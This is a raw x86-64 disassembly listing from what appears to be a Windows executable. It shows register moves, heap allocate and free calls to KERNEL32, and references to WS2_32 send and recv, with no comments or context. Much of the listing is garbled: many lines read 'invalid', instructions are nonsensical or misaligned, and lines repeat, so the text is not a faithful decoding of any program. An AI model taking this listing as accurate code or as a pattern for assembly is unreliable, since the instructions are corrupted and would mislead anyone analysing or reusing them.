mov rax, qword [rbp + 0x760]
mov qword [rbp + 0x4c0], rax
add al, 0
invalid
invalid
add al, 0
add byte [rax + 0x39], cl
ret
cmp rbx, rax
jne 0x1400f61a7
add byte [rax], al
mov rax, qword [rdi + 0x198]
mov eax, dword [rdi + 0x198]
cwde
add dword [rax], eax
add byte [rax + 1], cl
enter 0xffffffffffff8948, 0xffffffffffffff85
rol byte [rax + rax], 0
add al, 0
invalid
add rax, rcx
mov qword [rbp + 0x4c0], rax
rol byte [rax + rax], 0
add al, 0
invalid
add al, 0
add byte [rax + 0x3b], cl
xchg dword [rax + 0xf000001], esp
cmp rax, qword [rdi + 0x1a0]
ja 0x1400f612b
invalid
xchg dword [rcx + 0x48000041], ebp
mov dword [rdi + 0x198], eax
mov qword [rdi + 0x198], rax
test rcx, rcx
test ecx, ecx
jne 0x1400f4f9c
add byte [rax - 0x4f407fff], dh
add dword [rax], eax
add byte [rax], al
mov al, 1
cmp byte [rdi + 0x1b0], 0
je 0x1400f4e1f
jmp 0x1400f4feb
std
invalid
cmp r14, 9
jb 0x1400f6514
push rsi
add byte [r8], r8b
push rsi
add byte [r8], r8b
mov r9b, 0xa
mov eax, 1
mov qword [rbp + 0xba8], rax
or eax, dword [rax]
invalid
mov al, 1
or eax, dword [rax]
add byte [rax - 0x7f7a76ff], dh
invalid
invalid
or byte [rbx], 0
mov dword [rbp + 0xb80], eax
test r15d, r15d
dec dword [rdi]
invalid
xchg ecx, eax
or al, 0
invalid
or byte [rbx], 0
add byte [rbp - 0x7b], al
dec dword [rdi]
test byte [rcx - 0x38fffff4], dl
xchg ecx, eax
or al, 0
add bh, al
mov dword [rbp + 0xb74], 0
jmp 0x1400f2aea
or al, byte [rax]
invalid
test dword [rbx + rcx], esi
add byte [rax], al
add byte [rax], al
add cl, ch
std
or al, byte [rax]
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x8b8]
mov qword [rax], 2
invalid
mov rax, qword [rbp + 0x8b8]
mov qword [rax], 2
invalid
or byte [rax], al
add byte [rax - 0x39], cl
add byte [rdx], al
add byte [rax], al
add byte [rcx - 0x4f], al
or al, byte [rcx - 0x7d]
invalid
cld
mov r9b, 0xa
cmp r12d, 2
cmp esp, 2
add cl, byte [rdi]
jne 0x1400f23b1
mov eax, 1
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0xba8], rax
xor eax, eax
mov qword [rbp + 0xb90], rax
mov al, 1
test dword [rax + 0x3100000b], ebp
ror byte [rax - 0x77], 0x85
nop
or eax, dword [rax]
add byte [rax - 0x7f7a76ff], dh
or byte [rbx], 0
mov dword [rbp + 0xb80], eax
mov sil, 1
add dword [rax - 0x73], ecx
add eax, 0xe1ac9
add byte [rax - 0x4a], al
add dword [rax - 0x73], ecx
add eax, 0xe1ac9
mov qword [rbp + 0xbb0], rax
xor eax, eax
mov qword [rbp + 0xba0], rax
test dword [rax + 0x3100000b], esi
ror byte [rax - 0x77], 0x85
movabs al, byte [0x85c7ed314500000b]
in eax, dx
invalid
test esp, eax
xor r13d, r13d
in eax, dx
mov dword [rbp + 0xbc4], 0
lea rax, [0x140204680]
adc dword [rax], eax
adc dword [rax], eax
mov qword [rbp + 0xb98], rax
lea r12, [rbp + 0x8f0]
jmp 0x1400f4c31
mov r9b, 0xa
mov al, 1
add byte [rax], al
test r15d, r15d
je 0x1400f2ade
cmp r14, 9
jb 0x1400f65e0
cmp r14, 0xe
mov r15, qword [rbp + 0xbb8]
mov r13d, dword [rbp + 0xb48]
je 0x1400f3000
test byte [rdi + rcx], ah
invalid
lodsd eax, dword [rsi]
or rax, qword [rax]
add byte [rdi], cl
test byte [rdi + rcx], ah
add byte [rax + 1], bh
add byte [rax], al
mov eax, 1
add byte [rax], al
mov qword [rbp + 0xba8], rax
jmp 0x1400f212d
cmp r14, 9
dec byte [rcx]
jb 0x1400f652a
cmp r14, 0xd
mov r15, qword [rbp + 0xbb8]
or eax, dword [rax]
add byte [rdi], cl
test byte [rsi], dh
or al, 0
add byte [rax], al
mov r9b, 0xa
mov eax, 1
invalid
mov qword [rbp + 0xba8], rax
cmp r14, 9
dec byte [rcx]
jb 0x1400f6556
lea rax, [r14 - 9]
cmp rax, 8
or byte [rbx + rcx*4 - 0x43], cl
mov eax, 0xf00000b
sub dword [rdi], 9
add byte [rax], al
sub dword [rdi], 9
add byte [rax], al
mov r9b, 0xa
mov eax, 1
mov qword [rbp + 0xba8], rax
test al, 0xb
add byte [rax], al
test al, 0xb
add byte [rax], al
mov dword [rbp + 0xb74], 0
mov al, 1
mov dword [rbp + 0xb80], eax
mov cl, 1
lea rax, [0x1401d3af8]
mov qword [rbp + 0xbb0], rax
mov dword [rbp + 0xbb0], eax
xor eax, eax
mov qword [rbp + 0xb90], rax
jmp 0x1400f2381
add al, byte ss:[rax]
invalid
mov r14d, r8d
mov r8d, 9
add byte [rax], al
lea rcx, [rbp + 0x8e8]
lea rdx, [rbp + 0x8c0]
call 0x1880f2164
lea edx, [rbp + 0x8c0]
call fcn.140017350
mov rsi, qword [rbp + 0x900]
test sil, 1
jne 0x1400f257e
add byte [rax], al
add al, dh
dec qword [rsi + 0x20]
lock dec qword [rsi + 0x20]
lea r12, [rbp + 0x8f0]
mov r10d, r14d
jne 0x1400f25b4
mov rax, qword [rsi + 0x20]
cmp qword [rsi + 8], 0
je 0x1400f259f
test byte [rbx], al
add al, 0
invalid
mov r8, qword [rsi]
mov rcx, qword [0x140215360]
xor edx, edx
sar bh, cl
adc eax, 0x75e7a
jmp 0x1400f259f
mov byte [rbp + 0xb68], r8b
mov r8d, 9
lea rcx, [rbp + 0x8e8]
lea rdx, [rbp + 0x8c0]
call fcn.140017350
mov rsi, qword [rbp + 0x900]
test sil, 1
jne 0x1400f29c4
ror byte [rax], 0
add al, ch
jge 0x1400f2222
dec dword [rax - 0x75]
mov ch, 0
or dword [rax], eax
add byte [rax - 0xa], al
mov byte [rcx], recv
test eax, esp
invalid
lock dec qword [rsi + 0x20]
lea r12, [rbp + 0x8f0]
add byte [rax], al
add byte [rax], al
movzx eax, byte [rbp + 0xb68]
jne 0x1400f2a02
add byte [rdi], cl
test dword [0x1880f2206], eax
mov eax, dword [rsi + 0x20]
mov rax, qword [rsi + 0x20]
cmp qword [rsi + 8], 0
je 0x1400f29e9
mov r8, qword [rsi]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
or bl, byte [rsi + 7]
add cl, ch
mov byte [rdi], 0
invalid
or bl, byte [rsi + 7]
add cl, ch
mov byte [rdi], 0
add byte [rcx - 0x7d], cl
dec byte [rcx]
cmp r14, 9
jb 0x1400f656c
xor eax, eax
mov qword [rbp + 0xb90], rax
test r15d, r15d
jne 0x1400f2fec
invalid
invalid
invalid
add byte [rax], al
mov qword [rbp + 0xbb0], rax
mov eax, 0
mov qword [rbp + 0xba0], rax
mov r13d, 0
add byte [rax], al
add byte [rax], al
mov dword [rbp + 0xbc4], 0
lea rax, [0x140204680]
and edx, dword [rcx]
add byte [rax - 0x77], cl
mov dword [rbp + 0xb98], eax
invalid
mov dword [rbp + 0xb98], eax
cmp r14, 0x11
lea r12, [rbp + 0x8f0]
mov r15, qword [rbp + 0xbb8]
jne 0x1400f2b35
add byte [rax], al
add byte [rbx + rcx*4 - 0x43], cl
mov eax, 0xf00000b
test dword [rbp + 0x48000008], ecx
add byte [rax], al
mov rax, qword [rsi + 9]
mov rax, qword [rsi + 9]
movq xmm0, rax
and r8b, 1
psrlq xmm0, 0x10
psrlq mm0, 0x10
psrlq mm0, 0x10
movd dword [rbp + 0xab4], xmm0
mov qword [rbp + 0xab8], rax
shr rax, 0x30
shr eax, 0x30
mov qword [rbp + 0xb88], rax
mov al, 1
mov dword [rbp + 0xb80], eax
add byte [rax], al
add byte [rax], al
mov r13b, 5
mov qword [rbp + 0xba8], rax
mov qword [rbp + 0xb90], rax
mov qword [rbp + 0xba0], rax
mov byte [rbp + 0xb32], r8b
mov dword [rbp + 0xb7c], eax
mov dword [rbp + 0xb64], eax
mov dword [rbp + 0xb60], eax
jmp 0x1400f467d
cmp r14, 9
jb 0x1400f6540
mov r9b, 0xa
mov al, 1
mov dword [rbp + 0xb80], eax
cmp r14, 0xd
mov r15, qword [rbp + 0xbb8]
je 0x1400f2d55
mov eax, 1
mov qword [rbp + 0xba8], rax
xor eax, eax
mov qword [rbp + 0xb90], rax
mov cl, 1
lea rax, [0x1401d3af8]
mov qword [rbp + 0xbb0], rax
xor eax, eax
mov qword [rbp + 0xba0], rax
xor r13d, r13d
mov dword [rbp + 0xbc4], 0
lea rax, [0x140204680]
mov qword [rbp + 0xb98], rax
lea r12, [rbp + 0x8f0]
jmp 0x1400f2b35
mov byte [rbp + 0xb68], r8b
mov r8d, 0x138
lea rcx, [rbp + 0x768]
mov rdx, qword [rbp + 0x738]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x760], r12
xor eax, eax
test r12, r12
sete al
mov dword [rbp + 0xaf8], 0
mov cl, 1
mov dword [rbp + 0xa70], ecx
cmp dword [rbp + rax*8 + 0x870], ebx
jne 0x1400f2ed5
mov r15, qword [rbp + 0x888]
test r15, r15
je 0x1400f370a
cmp byte [rbp + 0x868], 0
je 0x1400f3c13
lea rax, [r15 + r14]
cmp rax, r13
jbe 0x1400f3c13
lea r13, [0x1401d3af8]
xor r14d, r14d
xor ecx, ecx
xor edx, edx
lea r15, [0x140204680]
mov dword [rbp + 0xb50], 9
jmp 0x1400f2ef4
shr rsi, 5
neg rsi
cmp qword [rbp + 0x8f8], rsi
je 0x1400f2476
add rsi, qword [rbp + 0x8e8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rbp + 0x8c0]
mov rcx, qword [rbp + 0x8c8]
mov rax, qword [rbp + 0x8d8]
test al, 1
jne 0x1400f297b
mov qword [rbp + 0xbb0], rsi
mov qword [rbp + 0xad8], rsi
mov qword [rbp + 0xb98], rcx
mov qword [rbp + 0xae0], rcx
mov rcx, rax
mov qword [rbp + 0xae8], rax
lea r10, [0x1401e17a0]
mov qword [rbp + 0xad0], r10
mov rax, r10
shr rax, 0x20
mov qword [rbp + 0xba8], rax
mov eax, r10d
mov qword [rbp + 0xb88], rax
lea r12, [rbp + 0x8f0]
test r15d, r15d
je 0x1400f3d07
movzx esi, byte [rbp + 0xb68]
mov dword [rbp + 0xbc4], esi
and esi, 8
mov r15, qword [rbp + 0xbb8]
je 0x1400f2ff8
mov r13, qword [rbp + 0xb98]
test r13, r13
je 0x1400f31fa
mov rax, qword [rbp + 0xbb0]
movzx r14d, byte [rax]
cmp r13, r14
jbe 0x1400f3d0e
shr rsi, 5
neg rsi
cmp qword [rbp + 0x8f8], rsi
lea r12, [rbp + 0x8f0]
mov r10d, r14d
je 0x1400f25b4
add rsi, qword [rbp + 0x8e8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r10d, r14d
movdqu xmm0, xmmword [rbp + 0x8c0]
movdqu xmm1, xmmword [rbp + 0x8d0]
movdqa xmmword [rbp + 0xb10], xmm1
movdqa xmmword [rbp + 0xb00], xmm0
test r15d, r15d
je 0x1400f2c19
test r10b, 8
jne 0x1400f2dd5
mov r14, qword [rbp + 0x8d0]
shr rax, 5
sub rsi, rax
mov r13, rax
lea rdx, [rax + rcx]
cmp rcx, r14
lea r12, [rbp + 0x8f0]
jne 0x1400f2f7d
test rdx, rdx
je 0x1400f375f
mov rax, rsi
test al, 1
jne 0x1400f3c99
or rax, 1
lea r10, [0x1401a9358]
jmp 0x1400f3ca0
shr rsi, 5
neg rsi
cmp qword [rbp + 0x8f8], rsi
lea r12, [rbp + 0x8f0]
movzx eax, byte [rbp + 0xb68]
je 0x1400f2a02
add rsi, qword [rbp + 0x8e8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [rbp + 0xb68]
movdqu xmm0, xmmword [rbp + 0x8c0]
movdqu xmm1, xmmword [rbp + 0x8d0]
movdqa xmmword [rbp + 0xb10], xmm1
movdqa xmmword [rbp + 0xb00], xmm0
test r15d, r15d
je 0x1400f2c67
test al, 8
jne 0x1400f2e5d
xor r15d, r15d
jmp 0x1400f3557
mov ebx, dword [rsi + 9]
mov eax, 0xffffff7f
and ebx, eax
mov eax, dword [rsi + 0xd]
mov dword [rbp + 0xbc4], eax
add r14, 0xffffffffffffffef
je 0x1400f3169
lea r12, [rbp + 0x8f0]
js 0x1400f66e3
mov eax, 1
mov qword [rbp + 0xba8], rax
mov cl, 1
lea rax, [0x1401d3af8]
mov qword [rbp + 0xbb0], rax
xor eax, eax
mov qword [rbp + 0xb90], rax
xor eax, eax
mov qword [rbp + 0xba0], rax
xor r13d, r13d
mov dword [rbp + 0xbc4], 0
lea rax, [0x140204680]
mov qword [rbp + 0xb98], rax
lea r12, [rbp + 0x8f0]
mov r15, qword [rbp + 0xbb8]
mov qword [rbp + 0xb88], rcx
mov ebx, r13d
mov r13d, r9d
mov rsi, qword [rbp + 0x8d8]
test sil, 1
je 0x1400f1da4
shr rsi, 5
neg rsi
cmp qword [rbp + 0x8d0], rsi
je 0x1400f2b7c
add rsi, qword [rbp + 0x8c0]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r13b, 0xa
je 0x1400f50c9
mov al, send
mov r15, qword [rbp + 0xbb8]
mov rsi, qword [rbp + 0xb18]
test sil, 1
jne 0x1400f343c
mov r14b, send
jmp 0x1400f3629
add r14, 0xfffffffffffffff7
test r8b, 1
lea r12, [rbp + 0x8f0]
mov r15, qword [rbp + 0xbb8]
jne 0x1400f30da
mov rax, r14
movabs rcx, 0xaaaaaaaaaaaaaaab
imul rax, rcx
ror rax, 1
movabs rcx, 0x2aaaaaaaaaaaaaab
cmp rax, rcx
jb 0x1400f3e51
mov eax, dword [rsi + 9]
bswap eax
mov qword [rbp + 0xb88], rax
mov al, 1
mov dword [rbp + 0xb80], eax
mov r13b, 8
mov qword [rbp + 0xba8], rax
mov qword [rbp + 0xb90], rax
mov qword [rbp + 0xba0], rax
mov dword [rbp + 0xb7c], eax
mov dword [rbp + 0xb64], eax
mov dword [rbp + 0xb60], eax
mov dword [rbp + 0xab4], ebx
mov qword [rbp + 0xab8], rax
lea r12, [rbp + 0x8f0]
jmp 0x1400f467d
movzx r8d, byte [rsi + 9]
movzx eax, byte [rsi + 0xa]
shl eax, 0x10
movzx ecx, byte [rsi + 0xb]
shl ecx, 8
movzx edx, byte [rsi + 0xc]
and r8d, 0x7f
shl r8d, 0x18
or r8d, eax
or r8d, ecx
or r8d, edx
mov qword [rbp + 0xb88], r8
mov al, 1
mov dword [rbp + 0xb80], eax
mov r13b, 7
je 0x1400f235c
mov qword [rbp + 0xba8], rax
mov qword [rbp + 0xb90], rax
mov qword [rbp + 0xba0], rax
mov dword [rbp + 0xb7c], eax
mov dword [rbp + 0xb64], eax
mov dword [rbp + 0xb60], eax
mov dword [rbp + 0xab4], ebx
mov qword [rbp + 0xab8], rax
lea r12, [rbp + 0x8f0]
jmp 0x1400f467d
cmp qword [rbp + 0xb08], 0
je 0x1400f3220
mov rax, qword [rbp + 0xb00]
movzx r15d, byte [rax]
mov r8d, 1
lea rcx, [rbp + 0x760]
lea rdx, [rbp + 0xb00]
call fcn.140017350
mov rsi, qword [rbp + 0x778]
test sil, 1
jne 0x1400f352a
mov dword [rbp + 0xb50], 1
lea r13, [0x1401d3af8]
xor r14d, r14d
xor ecx, ecx
xor edx, edx
lea r15, [0x140204680]
lea r12, [rbp + 0x8f0]
mov qword [rbp + 0xba8], r15
mov dword [rbp + 0xb88], edx
mov r15d, ecx
lea rcx, [rbp + 0x768]
call fcn.14006a760
lea rcx, [rbp + 0x7c8]
call fcn.14006a850
mov rsi, qword [rbp + 0x898]
test sil, 1
jne 0x1400f3051
lock dec qword [rsi + 0x20]
mov al, 1
mov dword [rbp + 0xb80], eax
mov r9b, 0xa
jne 0x1400f333c
mov rax, qword [rsi + 0x20]
cmp qword [rsi + 8], 0
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
je 0x1400f2f6a
mov r8, qword [rsi]
mov rcx, qword [0x140215360]
xor edx, edx
call rbx
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call rbx
jmp 0x1400f3082
mov qword [rbp + 0xb80], rdx
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400f2fad
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400f659c
mov qword [0x140215360], rax
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400f659c
add r14, r13
mov qword [rax], rsi
mov qword [rax + 8], r14
mov qword [rax + 0x10], 1
lea r10, [0x140169c10]
mov rdx, qword [rbp + 0xb80]
jmp 0x1400f3ca0
mov qword [rbp + 0xbb0], rax
jmp 0x1400f2b03
xor r14d, r14d
jmp 0x1400f4627
mov ecx, dword [rsi + 9]
bswap ecx
mov eax, ecx
and eax, 0x7fffffff
mov qword [rbp + 0xb88], rax
cmp ebx, eax
lea r12, [rbp + 0x8f0]
jne 0x1400f3228
movabs rax, 0xffffffff00000000
mov rcx, qword [rbp + 0xbb0]
and rcx, rax
or rcx, 1
mov qword [rbp + 0xbb0], rcx
mov eax, ebx
xor ecx, ecx
mov qword [rbp + 0xba8], rax
jmp 0x1400f2b35
shr rsi, 5
neg rsi
mov al, 1
mov dword [rbp + 0xb80], eax
cmp qword [rbp + 0x890], rsi
je 0x1400f3082
add rsi, qword [rbp + 0x880]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [rbp + 0xa70]
mov esi, eax
mov qword [rbp + 0xbb0], r13
mov eax, dword [rbp + 0xaf8]
mov qword [rbp + 0xb90], rax
mov eax, r14d
mov qword [rbp + 0xba0], rax
mov r13d, r15d
mov eax, dword [rbp + 0xb88]
mov dword [rbp + 0xbc4], eax
mov r15, qword [rbp + 0xba8]
mov qword [rbp + 0xb98], r15
mov eax, dword [rbp + 0xb50]
mov qword [rbp + 0xba8], rax
mov r9b, 0xa
jmp 0x1400f4c31
mov dword [rbp + 0xb74], 0
mov cl, 1
lea rax, [0x1401d3af8]
mov qword [rbp + 0xbb0], rax
mov eax, 0
mov qword [rbp + 0xb90], rax
mov eax, 0
mov qword [rbp + 0xba0], rax
mov r13d, 0
mov dword [rbp + 0xbc4], 0
lea rax, [0x140204680]
mov qword [rbp + 0xb98], rax
test r14, r14
jne 0x1400f2b35
lea rax, [0x140204680]
mov qword [rbp + 0xbb0], rax
xor ecx, ecx
xor r14d, r14d
lea rdx, [0x1401d3af8]
lea r12, [rbp + 0x8f0]
jmp fcn.1400f3193
xor eax, eax
mov qword [rbp + 0xb98], rax
jmp 0x1400f3d0e
mov r14b, reloc.WS2_32.dll_send
jmp 0x1400f3629
movzx eax, byte [rsi + 0xd]
shr ecx, 0x17
and ecx, 0x100
or ecx, eax
mov qword [rbp + 0xba8], rcx
mov al, 1
mov dword [rbp + 0xb80], eax
mov r13b, 2
mov qword [rbp + 0xb90], rax
mov qword [rbp + 0xba0], rax
mov dword [rbp + 0xb7c], eax
mov dword [rbp + 0xb64], eax
mov dword [rbp + 0xb60], eax
mov dword [rbp + 0xab4], ebx
mov qword [rbp + 0xab8], rax
jmp 0x1400f467d
mov eax, dword [rbp + 0xa70]
mov esi, eax
mov qword [rbp + 0xbb0], r13
mov eax, dword [rbp + 0xaf8]
mov qword [rbp + 0xb90], rax
mov eax, r14d
mov qword [rbp + 0xba0], rax
mov r13d, r15d
mov eax, dword [rbp + 0xb88]
mov dword [rbp + 0xbc4], eax
mov r15, qword [rbp + 0xba8]
mov qword [rbp + 0xb98], r15
mov eax, dword [rbp + 0xb50]
mov qword [rbp + 0xba8], rax
jmp 0x1400f4c31
mov r14b, reloc.WS2_32.dll_send
cmp qword [rbp + 0xb08], 5
jb 0x1400f3629
mov rsi, qword [rbp + 0xb18]
test sil, 1
jne 0x1400f3663
lock dec qword [rsi + 0x20]
mov r15, qword [rbp + 0xbb8]
jne 0x1400f3693
shr rsi, 5
neg rsi
cmp qword [rbp + 0xb10], rsi
mov r15, qword [rbp + 0xbb8]
je 0x1400f3693
mov dword [rbp + 0xb50], 1
mov qword [rbp + 0x6d8], 9
mov r15, qword [rbp + 0x8d0]
cmp r15, 9
jb 0x1400f67f4
mov r8, qword [rbp + 0x8d8]
test r8b, 1
lea r12, [rbp + 0x8f0]
mov qword [rbp + 0x730], r15
jne 0x1400f4264
lock inc qword [r8 + 0x20]
jg 0x1400f48b9
jmp 0x1400f6928
lea rsi, [0x140204680]
xor eax, eax
xor edx, edx
lea r10, [0x1401d3af8]
jmp 0x1400f3ca0
mov dword [rbp + 0xb50], 1
cmp r14, 9
jb 0x1400f6912
add r14, 0xfffffffffffffff7
mov r12, qword [rbp + 0x890]
mov rax, r12
sub rax, r15
cmp rax, r14
jae 0x1400f3c5a
lea rcx, [rbp + 0x880]
mov rdx, r14
call fcn.1400175d0
test byte [rcx], bh
dec dword [rbx + rcx*4 - 0x43]
mov byte [rax], cl
add byte [rax], al
mov r12, qword [rbp + 0x890]
add rsi, 9
mov rcx, qword [rbp + 0x880]
add rcx, r15
mov rdx, rsi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r15, r14
mov qword [rbp + 0xad0], r15
cmp r15, r12
ja 0x1400f688f
mov qword [rbp + 0x888], r15
lea r12, [rbp + 0x8f0]
jmp 0x1400f4981
lea r10, [0x1401a9370]
mov qword [rbp + 0x6d8], r13
mov rcx, rdx
sub rcx, r13
sub ecx, ebp
jb 0x1400f65f6
add rsi, r13
mov qword [rbp + 0xad0], r10
mov qword [rbp + 0xbb0], rsi
mov qword [rbp + 0xad8], rsi
mov rdx, rcx
mov qword [rbp + 0xb98], rcx
add byte [rax - 0x77], cl
invalid
loopne 0x1400f3ce4
add byte [rax], al
add byte [rax - 0x77], cl
test eax, ebp
or al, byte [rax]
add byte [rcx + rcx*4 - 0x2f], cl
shr rcx, 0x20
mov qword [rbp + 0xba8], rcx
mov rcx, rax
mov eax, r10d
mov qword [rbp + 0xb88], rax
test r15d, r15d
jne 0x1400f24ef
mov r15, qword [rbp + 0xbb8]
lea rcx, [rbp + 0xae8]
lea ecx, [rbp + 0xae8]
mov rdx, qword [rbp + 0xbb0]
mov r8, qword [rbp + 0xb98]
test dword [rax + 0x4800000b], ecx
lea eax, [0x1401d3af8]
add byte [rax], al
lea rax, [0x1401d3af8]
mov qword [rbp + 0xbb0], rax
xor eax, eax
mov qword [rbp + 0xb90], rax
test dword [rax + 0x3100000b], edx
ror byte [rax - 0x77], 0x85
invalid
or eax, dword [rax]
invalid
xor ebx, ebx
mov dword [rbp + 0xbc4], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1108fc
lea rax, [0x140204680]
mov qword [rbp + 0xb98], rax
mov rdx, qword [rbp + 0xa30]
or al, byte [rax]
add byte [rax - 0x7d], cl
cli
add cl, byte [rdi]
test al, ah
in eax, dx
invalid
invalid
or al, byte [rax]
add byte [rax - 0x7d], cl
cli
add cl, byte [rdi]
test al, ah
in eax, dx
invalid
mov rcx, qword [rbp + 0xa38]
mov rax, qword [rbp + 0xa40]
or al, byte [rax]
invalid
test rdx, rdx
je 0x1400f3dc1
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
loop 0x1400f3daa
add rcx, rdx
add rcx, 0x10
invalid
invalid
rcl dword [rax], 0x48
lea edx, [rbp + 0xa48]
xchg ebp, eax
or al, byte [rax]
invalid
lea rdx, [rbp + 0xa48]
call qword [rax + 0x68]
mov rdx, qword [rbp + 0xa30]
cmp rdx, 2
je 0x1400f2b7c
or al, byte [rax]
add byte [rax - 0x7d], cl
cli
add cl, byte [rdi]
test byte [rax + 0x48ffffed], ah
mov ecx, dword [rbp + 0xa38]
cmp byte [rdx], cl
add byte [rax], al
movabs al, byte [0xa388d8b48ffffed]
mov rcx, qword [rbp + 0xa38]
add byte [rax], al
mov rax, qword [rbp + 0xa40]
add byte [rax], al
test rdx, rdx
je 0x1400f3e01
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
loop 0x1400f3dea
loop 0x1400f3dea
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rbp + 0xa48]
call qword [rax + 0x80]
mov rax, qword [rbp + 0xa30]
mov eax, dword [rbp + 0xa30]
mov eax, dword [rbp + 0xa30]
or al, byte [rax]
add byte [rax - 0x7d], cl
add byte [rax], al
cmp rax, 2
je 0x1400f2b7c
clc
add cl, byte [rdi]
test byte [rbp - 0x13], bl
invalid
test rax, rax
je 0x1400f2b7c
test byte [rbp + rbp*8 - 1], dl
invalid
mov rax, qword [rbp + 0xa38]
lock dec qword [rax]
jne 0x1400f2b7c
dec dword [rax - 0x75]
lea edi, [rax]
or al, byte [rax]
mov rcx, qword [rbp + 0xa38]
mov rdx, qword [rbp + 0xa40]
or al, byte [rax]
invalid
add byte [rax - 0x75], cl
xchg ebp, eax
call fcn.140069a20
jmp 0x1400f2b7c
invalid
invalid
test esi, esi
je 0x1400f44c5
add rsi, 9
pxor xmm0, xmm0
mov dword [rbp + 0xbc4], 0
add byte [rcx], dh
ror byte [rax - 0x77], 0x85
mov dword [rbp + 0xba0], eax
mov dword [rbp + 0xba0], eax
or eax, dword [rax]
add byte [rax - 0x77], cl
test dword [rax + 0x4500000b], edx
xor edx, edx
add byte [rax], al
mov qword [rbp + 0xb90], rax
xor r10d, r10d
xor edx, edx
mov dword [rbp + 0xb48], 0
test dword [rax + 0xb], ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
test dword [rax + 0xb], ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rbp + 0xb88], 0
jmp 0x1400f3eda
add byte [rax], al
add bl, ch
shl r8d, 0x18
shl eax, 0x18
shl r11d, 0x10
shl ebx, 0x10
shl ebx, 0x10
or r11d, eax
or ebx, eax
shl r15d, 8
or r15d, r11d
or r15d, r9d
mov dword [rbp + 0xbc4], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
mov eax, r15d
mov dword [rbp + 0xbb0], r15d
nop
lea r12, [rbp + 0x8f0]
mov r15, qword [rbp + 0xbb8]
add rsi, r13
add esi, ebp
add esi, ebp
sub r14, r13
sub esi, ebp
je 0x1400f408a
cmp r14, 6
mov r13d, 6
mov ebp, 6
mov ebp, 6
cmovb r13, r14
cmp r13, 1
je 0x1400f60b3
and dword [rax], eax
invalid
and dword [rax], eax
add byte [rcx - 0x7d], cl
cmp ebp, 2
jbe 0x1400f60cb
invalid
invalid
std
cmp r13, 2
cmp ebp, 2
jbe 0x1400f60cb
cmp r13, 3
je 0x1400f60e3
add ecx, dword [rdi]
test ch, bl
and dword [rax], eax
add byte [rcx - 0x7d], cl
cmp ebp, 4
invalid
xchg bl, ch
and dword [rax], eax
cmp r13, 4
cmp ebp, 4
jbe 0x1400f60fb
add byte [rcx - 0x7d], cl
std
add eax, 0x21f9840f
add byte [rax], al
cmp r13, 5
je 0x1400f6113
movzx eax, byte [rsi]
movzx r9d, byte [rsi + 1]
mov dh, 0x4e
add ecx, eax
loopne 0x1400f3f2d
mov dh, 0x4e
add ecx, eax
loopne 0x1400f3f2d
lea r12d, [rax + r9]
and al, 8
dec r12d
cmp r12d, 7
cld
invalid
cmp esp, 7
invalid
ja case.default.0x1400f3f57
add dword [rax], eax
add byte [rdi], cl
movzx eax, byte [rsi + 2]
movzx r11d, byte [rsi + 3]
movzx r15d, byte [rsi + 4]
mov dh, 0x46
add al, byte [rdi + rcx - 0x4a]
pop rsi
add eax, dword [rdi + rcx - 0x4a]
movzx r15d, byte [rsi + 4]
movzx r9d, byte [rsi + 5]
lea rcx, [0x14020a9bc]
add byte [rsi + 0x63], cl
and al, 0xa1
add rax, 0x6c0d8d48
add eax, 0x6c0d8d48
push 0x11
add byte [rsi + 0x63], cl
and al, 0xa1
movabs eax, dword [0xe0c1e4ff41cc0149]
sbb byte [rcx - 0x3f], al
add r12, rcx
jmp r12
jrcxz 0x1400f3f71
or r11d, eax
shl r15d, 8
or byte [rbp + 9], al
fild word [rbp + 9]
iretd
mov dword [rbp + 0xb88], 1
add byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 8], al
ret
or eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 8], al
mov dword [rbp + 0xb68], r15d
jmp case.0x1400f3f57.7
cmp edi, edi
invalid
invalid
shl eax, 0x18
shl r11d, 0x10
shl ebx, 0x10
or r11d, eax
shl r15d, 8
out 8, eax
or r15d, r11d
mov r8d, r15d
or r8d, r9d
mov dword [rbp + 0xb48], 1
add byte [rcx], al
add byte [rax], al
add byte [rcx - 0x7d], al
clc
add cl, byte [rdi]
invalid
invalid
invalid
invalid
invalid
jmp 0x1400f4d06
or rax, 0xffffffffe0c10000
sbb byte [rcx - 0x3f], al
shl ebx, 0x10
or r11d, eax
shl r15d, 8
or r15d, r11d
or r15d, r9d
cmp r15d, 2
jae 0x1400f4da7
add cl, byte [rdi]
adc edx, 0xd
add byte [rax], al
movd xmm1, r15d
movdqa xmm0, xmm7
punpckldq xmm0, xmm1
